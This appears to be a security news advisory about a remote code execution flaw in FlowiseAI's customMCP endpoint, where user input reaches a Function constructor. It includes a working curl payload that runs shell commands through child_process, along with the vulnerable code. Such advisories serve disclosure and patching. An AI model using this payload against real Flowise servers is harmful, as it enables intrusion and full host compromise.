FlowiseAI, Unsafe Code Evaluation, CVE-2024-46867 (Critical)

Listen to this Post

The vulnerability in FlowiseAI stems from the insecure handling of user input within the `convertToValidJSONString` function. When a POST request is sent to the `/api/v1/node-load-method/customMCP` endpoint with a string value for the `mcpServerConfig` parameter, it bypasses the object processing path. This string is passed directly to the `convertToValidJSONString` function. This function dynamically constructs a JavaScript Function constructor by concatenating the user-controlled input string with the ‘return ‘ prefix. The constructed function, Function('return ' + inputString)(), is then immediately invoked. This acts as an `eval` call, executing the provided string as raw JavaScript code. Crucially, this execution occurs in the main Node.js process context, not within a sandboxed environment. This allows an attacker to access the global `process` object and require core modules like child_process, leading directly to arbitrary command execution and full Remote Code Execution on the host server.
Platform: FlowiseAI
Version: Pre-1.7.0
Vulnerability: RCE
Severity: Critical

date: 2024-10-30

Prediction: Patch 2024-11-06

What Undercode Say:

curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data '{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('id > /tmp/pwned'))"},"loadMethod":"listActions"}' "http://localhost:3000/api/v1/node-load-method/customMCP"
// Vulnerable Code (convertToValidJSONString)
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}

How Exploit:

Craft malicious payload

Send POST request

Bypass object check

Trigger Function constructor

Execute system commands

Protection from this CVE

Update FlowiseAI

Input validation

Use sandboxed execution

Sanitize user input

Impact:

Remote Code Execution

System Compromise

Arbitrary Command Execution

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top